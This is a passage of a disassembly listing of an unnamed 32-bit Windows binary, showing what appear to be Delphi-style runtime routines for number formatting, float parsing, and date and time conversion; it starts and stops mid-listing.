		db 27h,	2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_2000819F	proc near		; CODE XREF: sub_20008050+19p
		mov	eax, [esi]
		mov	edx, [esi+4]
		mov	ecx, eax
		or	ecx, edx
		jz	loc_20008265
		or	edx, edx
		jns	short loc_200081B9
		neg	edx
		neg	eax
		sbb	edx, 0


loc_200081B9:				; CODE XREF: sub_2000819F+11j
		xor	ecx, ecx
		mov	edi, [ebp+8]
		or	edi, edi
		jge	short loc_200081C4
		xor	edi, edi


loc_200081C4:				; CODE XREF: sub_2000819F+21j
		cmp	edi, 4
		jl	short loc_200081E8
		mov	edi, 4


loc_200081CE:				; CODE XREF: sub_2000819F+3Bj
		inc	ecx
		sub	eax, 0A7640000h
		sbb	edx, 0DE0B6B3h
		jnb	short loc_200081CE
		dec	ecx
		add	eax, 0A7640000h
		adc	edx, 0DE0B6B3h


loc_200081E8:				; CODE XREF: sub_2000819F+28j
		mov	[ebp-20h], eax
		mov	[ebp-1Ch], edx
		fild	qword ptr [ebp-20h]
		mov	edx, edi
		mov	eax, 4
		sub	eax, edx
		jz	short loc_20008206
		mov	edi, [ebp-4]
		fidiv	dword ptr loc_2000818B[edi+eax*4]


loc_20008206:				; CODE XREF: sub_2000819F+5Bj
		fbstp	tbyte ptr [ebp-18h]
		lea	edi, [ebx+3]
		wait
		or	ecx, ecx
		jnz	short loc_2000822C
		mov	ecx, 9


loc_20008216:				; CODE XREF: sub_2000819F+89j
		mov	al, [ecx+ebp-19h]
		mov	ah, al
		shr	al, 4
		jnz	short loc_2000823F
		mov	al, ah
		and	al, 0Fh
		jnz	short loc_20008246
		dec	ecx
		jnz	short loc_20008216
		jmp	short loc_20008265
; ---------------------------------------------------------------------------


loc_2000822C:				; CODE XREF: sub_2000819F+70j
		mov	al, cl
		add	al, 30h
		stosb
		mov	ecx, 9


loc_20008236:				; CODE XREF: sub_2000819F+ABj
		mov	al, [ecx+ebp-19h]
		mov	ah, al
		shr	al, 4


loc_2000823F:				; CODE XREF: sub_2000819F+80j
		add	al, 30h
		stosb
		mov	al, ah
		and	al, 0Fh


loc_20008246:				; CODE XREF: sub_2000819F+86j
		add	al, 30h
		stosb
		dec	ecx
		jnz	short loc_20008236
		mov	eax, edi
		lea	ecx, [ebx+edx+3]
		sub	eax, ecx


loc_20008254:				; CODE XREF: sub_2000819F+BCj
		mov	byte ptr [edi],	0
		dec	edi
		cmp	byte ptr [edi],	30h
		jz	short loc_20008254
		mov	edx, [esi+4]
		shr	edx, 1Fh
		jmp	short loc_2000826C
; ---------------------------------------------------------------------------


loc_20008265:				; CODE XREF: sub_2000819F+9j
					; sub_2000819F+8Bj
		xor	eax, eax
		xor	edx, edx
		mov	[ebx+3], al


loc_2000826C:				; CODE XREF: sub_2000819F+C4j
		mov	[ebx], ax
		mov	[ebx+2], dl
		retn
sub_2000819F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_20008050


loc_20008273:				; CODE XREF: sub_20008050+1Ej
					; sub_20008050+28j
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	8
; END OF FUNCTION CHUNK	FOR sub_20008050

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000827C	proc near		; CODE XREF: sub_200083F0+11p
					; sub_2000840C+14p ...

var_8		= word ptr -8
var_5		= byte ptr -5
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 20008389 SIZE 00000007 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	edi
		push	esi
		push	ebx
		mov	esi, eax
		mov	edi, edx
		mov	[ebp+var_4], 0
		mov	al, ds:byte_2001569B
		mov	[ebp+var_5], al
		mov	ebx, ecx
		fstcw	[ebp+var_8]
		fclex
		fldcw	ds:word_20014194
		fldz
		call	sub_20008333
		mov	bh, [esi]
		cmp	bh, 2Bh
		jz	short loc_200082BA
		cmp	bh, 2Dh
		jnz	short loc_200082BB


loc_200082BA:				; CODE XREF: sub_2000827C+37j
		inc	esi


loc_200082BB:				; CODE XREF: sub_2000827C+3Cj
		mov	ecx, esi
		call	sub_2000833E
		xor	edx, edx
		mov	al, [esi]
		cmp	al, [ebp+var_5]
		jnz	short loc_200082D3
		inc	esi
		call	sub_2000833E
		neg	edx


loc_200082D3:				; CODE XREF: sub_2000827C+4Dj
		cmp	ecx, esi
		jz	short loc_20008326
		mov	al, [esi]
		and	al, 0DFh
		cmp	al, 45h
		jnz	short loc_200082E9
		inc	esi
		push	edx
		call	sub_2000835A
		pop	eax
		add	edx, eax


loc_200082E9:				; CODE XREF: sub_2000827C+61j
		call	sub_20008333
		cmp	byte ptr [esi],	0
		jnz	short loc_20008326
		mov	eax, edx
		cmp	bl, 1
		jnz	short loc_200082FD
		add	eax, 4


loc_200082FD:				; CODE XREF: sub_2000827C+7Cj
		push	ebx
		mov	ebx, [ebp+var_4]
		call	sub_20003070
		pop	ebx
		cmp	bh, 2Dh
		jnz	short loc_2000830E
		fchs


loc_2000830E:				; CODE XREF: sub_2000827C+8Ej
		cmp	bl, 0
		jz	short loc_20008317
		fistp	qword ptr [edi]
		jmp	short loc_20008319
; ---------------------------------------------------------------------------


loc_20008317:				; CODE XREF: sub_2000827C+95j
		fstp	tbyte ptr [edi]


loc_20008319:				; CODE XREF: sub_2000827C+99j
		fstsw	ax
		test	ax, 9
		jnz	short loc_20008328
		mov	al, 1
		jmp	short loc_2000832A
; ---------------------------------------------------------------------------


loc_20008326:				; CODE XREF: sub_2000827C+59j
					; sub_2000827C+75j
		fstp	st


loc_20008328:				; CODE XREF: sub_2000827C+A4j
		xor	eax, eax


loc_2000832A:				; CODE XREF: sub_2000827C+A8j
		fclex
		fldcw	[ebp+var_8]
		wait
		jmp	short loc_20008389
sub_2000827C	endp


; =============== S U B	R O U T	I N E =======================================



sub_20008333	proc near		; CODE XREF: sub_2000827C+2Dp
					; sub_2000827C:loc_200082E9p ...
		lodsb
		or	al, al
		jz	short loc_2000833C
		cmp	al, 20h
		jz	short sub_20008333


loc_2000833C:				; CODE XREF: sub_20008333+3j
		dec	esi
		retn
sub_20008333	endp


; =============== S U B	R O U T	I N E =======================================



sub_2000833E	proc near		; CODE XREF: sub_2000827C+41p
					; sub_2000827C+50p
		xor	eax, eax
		xor	edx, edx


loc_20008342:				; CODE XREF: sub_2000833E+18j
		lodsb
		sub	al, 3Ah
		add	al, 0Ah
		jnb	short loc_20008358
		fimul	ds:flt_20014190
		mov	[ebp-0Ch], eax
		fiadd	dword ptr [ebp-0Ch]
		inc	edx
		jmp	short loc_20008342
; ---------------------------------------------------------------------------


loc_20008358:				; CODE XREF: sub_2000833E+9j
		dec	esi
		retn
sub_2000833E	endp


; =============== S U B	R O U T	I N E =======================================



sub_2000835A	proc near		; CODE XREF: sub_2000827C+65p
		xor	eax, eax
		xor	edx, edx
		mov	cl, [esi]
		cmp	cl, 2Bh
		jz	short loc_2000836A
		cmp	cl, 2Dh
		jnz	short loc_2000836B


loc_2000836A:				; CODE XREF: sub_2000835A+9j
		inc	esi


loc_2000836B:				; CODE XREF: sub_2000835A+Ej
					; sub_2000835A+25j
		mov	al, [esi]
		sub	al, 3Ah
		add	al, 0Ah
		jnb	short loc_20008381
		inc	esi
		imul	edx, 0Ah
		add	edx, eax
		cmp	edx, 1F4h
		jb	short loc_2000836B


loc_20008381:				; CODE XREF: sub_2000835A+17j
		cmp	cl, 2Dh
		jnz	short locret_20008388
		neg	edx

locret_20008388:			; CODE XREF: sub_2000835A+2Aj
		retn
sub_2000835A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_2000827C


loc_20008389:				; CODE XREF: sub_2000827C+B5j
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_2000827C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20008390	proc near		; CODE XREF: sub_2000DD44+103p
					; sub_2000DD44+124p ...

var_40		= byte ptr -40h
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFC0h
		push	ebx
		mov	ebx, eax
		push	0
		push	0Fh
		push	0
		lea	edx, [ebp+arg_0]
		lea	eax, [ebp+var_40]
		xor	ecx, ecx
		call	sub_20007D7C
		mov	ecx, eax
		lea	edx, [ebp+var_40]
		mov	eax, ebx
		call	sub_20004098
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_20008390	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_200083C0	proc near		; CODE XREF: sub_2000C48C+38p

var_40		= byte ptr -40h
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFC0h
		push	ebx
		mov	ebx, eax
		push	0
		push	0
		push	0
		lea	edx, [ebp+arg_0]
		lea	eax, [ebp+var_40]
		mov	cl, 1
		call	sub_20007D7C
		mov	ecx, eax
		lea	edx, [ebp+var_40]
		mov	eax, ebx
		call	sub_20004098
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
sub_200083C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_200083F0	proc near		; CODE XREF: sub_200073A0+12p
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_20004444
		mov	edx, esi
		xor	ecx, ecx
		call	sub_2000827C
		pop	esi
		pop	ebx
		retn
sub_200083F0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000840C	proc near		; CODE XREF: sub_2000C2C8+35p

var_14		= tbyte	ptr -14h

		push	ebx
		push	esi
		add	esp, 0FFFFFFF4h
		mov	esi, edx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_20004444
		mov	edx, esp
		xor	ecx, ecx
		call	sub_2000827C
		test	al, al
		jz	short loc_2000842F
		fld	[esp+14h+var_14]
		fstp	qword ptr [esi]
		wait


loc_2000842F:				; CODE XREF: sub_2000840C+1Bj
		add	esp, 0Ch
		pop	esi
		pop	ebx
		retn
sub_2000840C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20008438	proc near		; CODE XREF: sub_2000C25C+35p

var_14		= tbyte	ptr -14h

		push	ebx
		push	esi
		add	esp, 0FFFFFFF4h
		mov	esi, edx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_20004444
		mov	edx, esp
		xor	ecx, ecx
		call	sub_2000827C
		test	al, al
		jz	short loc_2000845B
		fld	[esp+14h+var_14]
		fstp	dword ptr [esi]
		wait


loc_2000845B:				; CODE XREF: sub_20008438+1Bj
		add	esp, 0Ch
		pop	esi
		pop	ebx
		retn
sub_20008438	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20008464	proc near		; CODE XREF: sub_2000C3A0+35p
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_20004444
		mov	edx, esi
		mov	cl, 1
		call	sub_2000827C
		pop	esi
		pop	ebx
		retn
sub_20008464	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_20008480(double)

sub_20008480	proc near		; CODE XREF: sub_20008534+1Cp
					; sub_20008694+1Dp ...

var_C		= qword	ptr -0Ch
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		mov	ecx, eax
		fld	[ebp+arg_0]
		fmul	ds:flt_20014198[ebx]
		sub	esp, 8
		fistp	[esp+0Ch+var_C]
		wait
		pop	eax
		pop	edx
		or	edx, edx
		jns	short loc_200084AF
		neg	edx
		neg	eax
		sbb	edx, 0
		div	ds:dword_2001419C[ebx]
		neg	eax
		jmp	short loc_200084B5
; ---------------------------------------------------------------------------


loc_200084AF:				; CODE XREF: sub_20008480+1Cj
		div	ds:dword_2001419C[ebx]


loc_200084B5:				; CODE XREF: sub_20008480+2Dj
		add	eax, 0A955Ah
		mov	[ecx], edx
		mov	[ecx+4], eax
		pop	ebx
		pop	ebp
		retn	8
sub_20008480	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_200084C4	proc near		; CODE XREF: sub_20009A28+1CBp

var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	esi
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_1], 0
		cmp	ax, 18h
		jnb	short loc_20008525
		cmp	dx, 3Ch
		jnb	short loc_20008525
		cmp	cx, 3Ch
		jnb	short loc_20008525
		cmp	si, 3E8h
		jnb	short loc_20008525
		movzx	eax, ax
		imul	eax, 36EE80h
		movzx	edx, dx
		imul	edx, 0EA60h
		add	eax, edx
		movzx	edx, cx
		imul	edx, 3E8h
		add	eax, edx
		movzx	edx, si
		add	eax, edx
		mov	[ebp+var_8], eax
		fild	[ebp+var_8]
		fdiv	flt_20008530
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax]
		wait
		mov	[ebp+var_1], 1


loc_20008525:				; CODE XREF: sub_200084C4+12j
					; sub_200084C4+18j ...
		mov	al, [ebp+var_1]
		pop	esi
		pop	ecx
		pop	ecx
		pop	ebp
		retn	8
sub_200084C4	endp

; ---------------------------------------------------------------------------
		align 10h
flt_20008530	dd 8.64e7		; DATA XREF: sub_200084C4+51r

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_20008534(int, double)

sub_20008534	proc near		; CODE XREF: sub_20008950+31p

var_C		= dword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= qword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	dword ptr [ebp+arg_4+4]
		push	dword ptr [ebp+arg_4] ;	double
		lea	eax, [ebp+var_C]
		call	sub_20008480
		mov	eax, [ebp+var_C]
		lea	ecx, [ebp+var_2]
		mov	dx, 0EA60h
		call	sub_20006EEC
		push	esi
		mov	ecx, ebx
		movzx	eax, [ebp+var_2]
		mov	dx, 3Ch
		call	sub_20006EEC
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, edi
		movzx	eax, [ebp+var_4]
		mov	dx, 3E8h
		call	sub_20006EEC
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_20008534	endp


; =============== S U B	R O U T	I N E =======================================



sub_20008590	proc near		; CODE XREF: sub_200085CC+19p
					; sub_20008694+EEp
		push	ebx
		push	esi
		mov	ecx, eax
		movzx	eax, cx
		and	eax, 3
		test	eax, eax
		jnz	short loc_200085BF
		movzx	ebx, cx
		mov	eax, ebx
		mov	esi, 64h
		xor	edx, edx
		div	esi
		test	edx, edx
		jnz	short loc_200085C4
		mov	eax, ebx
		mov	ecx, 190h
		xor	edx, edx
		div	ecx
		test	edx, edx
		jz	short loc_200085C4


loc_200085BF:				; CODE XREF: sub_20008590+Cj
		xor	eax, eax
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_200085C4:				; CODE XREF: sub_20008590+1Ej
					; sub_20008590+2Dj
		mov	al, 1
		pop	esi
		pop	ebx
		retn
sub_20008590	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_200085CC	proc near		; CODE XREF: sub_200096E4+2F8p

var_8		= dword	ptr -8
var_3		= byte ptr -3
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	ebx, ecx
		mov	edi, edx
		mov	[ebp+var_2], ax
		mov	[ebp+var_3], 0
		mov	ax, [ebp+var_2]
		call	sub_20008590
		and	eax, 7Fh
		lea	eax, [eax+eax*2]
		lea	esi, dword_200140FC[eax*8]
		cmp	[ebp+var_2], 1
		jb	loc_20008688
		cmp	[ebp+var_2], 270Fh
		ja	short loc_20008688
		cmp	di, 1
		jb	short loc_20008688
		cmp	di, 0Ch
		ja	short loc_20008688
		cmp	bx, 1
		jb	short loc_20008688
		movzx	eax, di
		cmp	bx, [esi+eax*2-2]
		ja	short loc_20008688
		movzx	eax, di
		dec	eax
		test	eax, eax
		jle	short loc_2000863C
		mov	ecx, 1


loc_20008633:				; CODE XREF: sub_200085CC+6Ej
		add	bx, [esi+ecx*2-2]
		inc	ecx
		dec	eax
		jnz	short loc_20008633


loc_2000863C:				; CODE XREF: sub_200085CC+60j
		movzx	ecx, [ebp+var_2]
		dec	ecx
		mov	eax, ecx
		mov	esi, 64h
		cdq
		idiv	esi
		imul	esi, ecx, 16Dh
		mov	edx, ecx
		test	edx, edx
		jns	short loc_2000865A
		add	edx, 3


loc_2000865A:				; CODE XREF: sub_200085CC+89j
		sar	edx, 2
		add	esi, edx
		sub	esi, eax
		mov	eax, ecx
		mov	ecx, 190h
		cdq
		idiv	ecx
		add	esi, eax
		movzx	eax, bx
		add	esi, eax
		sub	esi, 0A955Ah
		mov	[ebp+var_8], esi
		fild	[ebp+var_8]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax]
		wait
		mov	[ebp+var_3], 1


loc_20008688:				; CODE XREF: sub_200085CC+30j
					; sub_200085CC+3Cj ...
		mov	al, [ebp+var_3]
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn	4
sub_200085CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_20008694(int, double)

sub_20008694	proc near		; CODE XREF: sub_200087E0+13p

var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= qword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE8h
		push	ebx
		push	esi
		mov	[ebp+var_C], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	ebx, [ebp+arg_0]
		push	dword ptr [ebp+arg_4+4]
		push	dword ptr [ebp+arg_4] ;	double
		lea	eax, [ebp+var_18]
		call	sub_20008480
		mov	ecx, [ebp+var_14]
		test	ecx, ecx
		jg	short loc_200086E1
		mov	eax, [ebp+var_4]
		mov	word ptr [eax],	0
		mov	eax, [ebp+var_8]
		mov	word ptr [eax],	0
		mov	eax, [ebp+var_C]
		mov	word ptr [eax],	0
		mov	word ptr [ebx],	0
		xor	edx, edx
		jmp	loc_200087D3
; ---------------------------------------------------------------------------


loc_200086E1:				; CODE XREF: sub_20008694+27j
		mov	eax, ecx
		mov	esi, 7
		cdq
		idiv	esi
		inc	edx
		mov	[ebx], dx
		dec	ecx
		mov	bx, 1
		cmp	ecx, 23AB1h
		jl	short loc_2000870F


loc_200086FC:				; CODE XREF: sub_20008694+79j
		sub	ecx, 23AB1h
		add	bx, 190h
		cmp	ecx, 23AB1h
		jge	short loc_200086FC


loc_2000870F:				; CODE XREF: sub_20008694+66j
		lea	eax, [ebp+var_E]
		push	eax
		lea	eax, [ebp+var_10]
		mov	dx, 8EACh
		xchg	eax, ecx
		call	sub_20006EEC
		cmp	[ebp+var_10], 4
		jnz	short loc_20008731
		dec	[ebp+var_10]
		add	[ebp+var_E], 8EACh


loc_20008731:				; CODE XREF: sub_20008694+91j
		imul	ax, [ebp+var_10], 64h
		add	bx, ax
		lea	eax, [ebp+var_E]
		push	eax
		lea	ecx, [ebp+var_10]
		movzx	eax, [ebp+var_E]
		mov	dx, 5B5h
		call	sub_20006EEC
		mov	ax, [ebp+var_10]
		shl	eax, 2
		add	bx, ax
		lea	eax, [ebp+var_E]
		push	eax
		lea	ecx, [ebp+var_10]
		movzx	eax, [ebp+var_E]
		mov	dx, 16Dh
		call	sub_20006EEC
		cmp	[ebp+var_10], 4
		jnz	short loc_2000877C
		dec	[ebp+var_10]
		add	[ebp+var_E], 16Dh


loc_2000877C:				; CODE XREF: sub_20008694+DCj
		add	bx, [ebp+var_10]
		mov	eax, ebx
		call	sub_20008590
		mov	edx, eax
		xor	eax, eax
		mov	al, dl
		lea	eax, [eax+eax*2]
		lea	esi, dword_200140FC[eax*8]
		mov	ax, 1


loc_2000879B:				; CODE XREF: sub_20008694+126j
		movzx	ecx, ax
		mov	cx, [esi+ecx*2-2]
		mov	[ebp+var_10], cx
		mov	cx, [ebp+var_E]
		cmp	cx, [ebp+var_10]
		jb	short loc_200087BC
		mov	cx, [ebp+var_10]
		sub	[ebp+var_E], cx
		inc	eax
		jmp	short loc_2000879B
; ---------------------------------------------------------------------------


loc_200087BC:				; CODE XREF: sub_20008694+11Bj
		mov	ecx, [ebp+var_4]
		mov	[ecx], bx
		mov	ecx, [ebp+var_8]
		mov	[ecx], ax
		mov	ax, [ebp+var_E]
		inc	eax
		mov	ecx, [ebp+var_C]
		mov	[ecx], ax


loc_200087D3:				; CODE XREF: sub_20008694+48j
		mov	eax, edx
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_20008694	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_200087E0(double)

sub_200087E0	proc near		; CODE XREF: sub_20008918+2Ap

var_2		= dword	ptr -2
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, eax
		push	dword ptr [ebp+arg_0+4]
		push	dword ptr [ebp+arg_0] ;	double
		lea	eax, [ebp+var_2]
		push	eax		; int
		mov	eax, esi
		call	sub_20008694
		pop	esi
		pop	ecx
		pop	ebp
		retn	8
sub_200087E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_20008800(double)

sub_20008800	proc near		; CODE XREF: sub_20008C00+2AEp
					; sub_20008C00+2D5p ...

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	dword ptr [ebp+arg_0+4]
		push	dword ptr [ebp+arg_0] ;	double
		lea	eax, [ebp+var_8]
		call	sub_20008480
		mov	eax, [ebp+var_4]
		mov	ecx, 7
		cdq
		idiv	ecx
		mov	eax, edx
		inc	eax
		pop	ecx
		pop	ecx
		pop	ebp
		retn	8
sub_20008800	endp


; =============== S U B	R O U T	I N E =======================================



sub_20008828	proc near		; CODE XREF: sub_20009688+14p
					; sub_200096E4+1A8p ...

var_10		= word ptr -10h

		add	esp, 0FFFFFFF0h
		push	esp		; lpSystemTime
		call	GetLocalTime
		mov	ax, [esp+10h+var_10]
		add	esp, 10h
		retn
sub_20008828	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000883C	proc near		; CODE XREF: sub_20008880+15p
					; sub_200088A0+3Dp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ecx, [ebp+arg_0]
		mov	ebx, 100h
		sub	ebx, [ecx-104h]
		cmp	edx, ebx
		jge	short loc_20008854
		mov	ebx, edx


loc_20008854:				; CODE XREF: sub_2000883C+14j
		test	ebx, ebx
		jz	short loc_20008872
		mov	edx, [ebp+arg_0]
		mov	edx, [edx-104h]
		mov	ecx, [ebp+arg_0]
		lea	edx, [ecx+edx-100h]
		mov	ecx, ebx
		call	sub_200027FC


loc_20008872:				; CODE XREF: sub_2000883C+1Aj
		mov	eax, [ebp+arg_0]
		add	[eax-104h], ebx
		pop	ebx
		pop	ebp
		retn
sub_2000883C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20008880	proc near		; CODE XREF: sub_20008C00+1CDp
					; sub_20008C00+1FAp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, ebx
		call	sub_20004244
		mov	edx, eax
		mov	eax, ebx
		call	sub_2000883C
		pop	ecx
		pop	ebx
		pop	ebp
		retn
sub_20008880	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_200088A0	proc near		; CODE XREF: sub_20008C00+188p
					; sub_20008C00+1A0p ...

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		push	eax
		push	4
		mov	[ebp+var_20], esi
		mov	[ebp+var_1C], 0
		mov	[ebp+var_18], ebx
		mov	[ebp+var_14], 0
		lea	eax, [ebp+var_20]
		push	eax
		push	1
		mov	ecx, offset dword_200141A0
		lea	eax, [ebp+var_10]
		mov	edx, 10h
		call	sub_200078AC
		mov	edx, eax
		lea	eax, [ebp+var_10]
		call	sub_2000883C
		pop	ecx
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_200088A0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_200088EC	proc near		; CODE XREF: sub_20008C00+15Dp
					; sub_20008C00+1ACp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, [ebp+arg_0]
		add	eax, 0FFFFFFFCh
		mov	edx, [eax]
		jmp	short loc_200088FC
; ---------------------------------------------------------------------------


loc_200088FA:				; CODE XREF: sub_200088EC+1Aj
		inc	dword ptr [eax]


loc_200088FC:				; CODE XREF: sub_200088EC+Cj
		mov	ecx, [eax]
		mov	cl, [ecx]
		mov	ebx, [ebp+arg_0]
		cmp	cl, [ebx-5]
		jz	short loc_200088FA
		mov	eax, [eax]
		sub	eax, edx
		inc	eax
		mov	edx, [ebp+arg_0]
		mov	[edx-0Ch], eax
		pop	ebx
		pop	ebp
		retn
sub_200088EC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20008918	proc near		; CODE XREF: sub_20008C00+164p
					; sub_20008C00+1B3p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax-13h], 0
		jnz	short loc_2000894E
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+8]
		push	dword ptr [eax+0Ch]
		push	dword ptr [eax+8] ; double
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax-12h]
		mov	eax, [ebp+arg_0]
		lea	edx, [eax-10h]
		mov	eax, [ebp+arg_0]
		add	eax, 0FFFFFFF2h
		call	sub_200087E0
		mov	eax, [ebp+arg_0]
		mov	byte ptr [eax-13h], 1


loc_2000894E:				; CODE XREF: sub_20008918+Aj
		pop	ebp
		retn
sub_20008918	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20008950	proc near		; CODE XREF: sub_20008C00+31Fp
					; sub_20008C00+419p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax-1Dh], 0
		jnz	short loc_2000898D
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+8]
		push	dword ptr [eax+0Ch]
		push	dword ptr [eax+8] ; double
		mov	eax, [ebp+arg_0]
		add	eax, 0FFFFFFE4h
		push	eax		; int
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax-1Ah]
		mov	eax, [ebp+arg_0]
		lea	edx, [eax-18h]
		mov	eax, [ebp+arg_0]
		add	eax, 0FFFFFFEAh
		call	sub_20008534
		mov	eax, [ebp+arg_0]
		mov	byte ptr [eax-1Dh], 1


loc_2000898D:				; CODE XREF: sub_20008950+Aj
		pop	ebp
		retn
sub_20008950	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20008990	proc near		; CODE XREF: sub_20008C00+1C4p

var_118		= dword	ptr -118h
DateStr		= byte ptr -114h
Date		= SYSTEMTIME ptr -14h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEE8h
		push	ebx
		push	esi
		xor	ecx, ecx
		mov	[ebp+var_118], ecx
		mov	[ebp+var_4], ecx
		mov	ebx, edx
		mov	esi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_20008ADE
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, ebx
		call	sub_20003FA8
		mov	eax, [ebp+arg_0]
		mov	ax, [eax-0Eh]
		mov	[ebp+Date.wYear], ax
		mov	eax, [ebp+arg_0]
		mov	ax, [eax-10h]
		mov	[ebp+Date.wMonth], ax
		mov	eax, [ebp+arg_0]
		mov	ax, [eax-12h]
		mov	[ebp+Date.wDay], ax
		lea	eax, [ebp+var_4]
		mov	edx, offset dword_20008AF4
		call	sub_20004040
		push	100h		; cchDate
		lea	eax, [ebp+DateStr]
